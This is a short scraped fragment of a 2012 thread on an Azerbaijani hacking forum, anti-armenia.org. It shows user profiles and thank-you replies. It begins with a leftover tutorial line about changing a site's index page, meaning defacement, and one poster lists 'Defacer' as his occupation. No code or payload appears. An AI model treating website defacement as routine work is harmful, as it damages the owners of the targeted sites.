3- Then CHANGE INDEX OR INJECT FAQ

Anti-armenia.ORG
    

Istifadəçi
    2012-02-03 11:58 GMT                 

Ferid23



Admin
Mesaj Sayı : 1875
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : Programmer & Defacer
Yaş : 12
Mesaj :

Mövzunu Paylaş!


Super!!!
Thank you very much!
+1rep

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)
Anti-armenia.ORG
    

Istifadəçi
    2012-02-03 14:50 GMT                 

Dr.KroOoZ



C0d3r
Mesaj Sayı : 127
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   11  
Indi Saytda : Durum
Cinsiyyət :
Şəhər :
Ölkə :
Məslək : Dr.KroOoZ
Yaş :
Mesaj :

Mövzunu Paylaş!


Your Welcome

Anti-armenia.ORG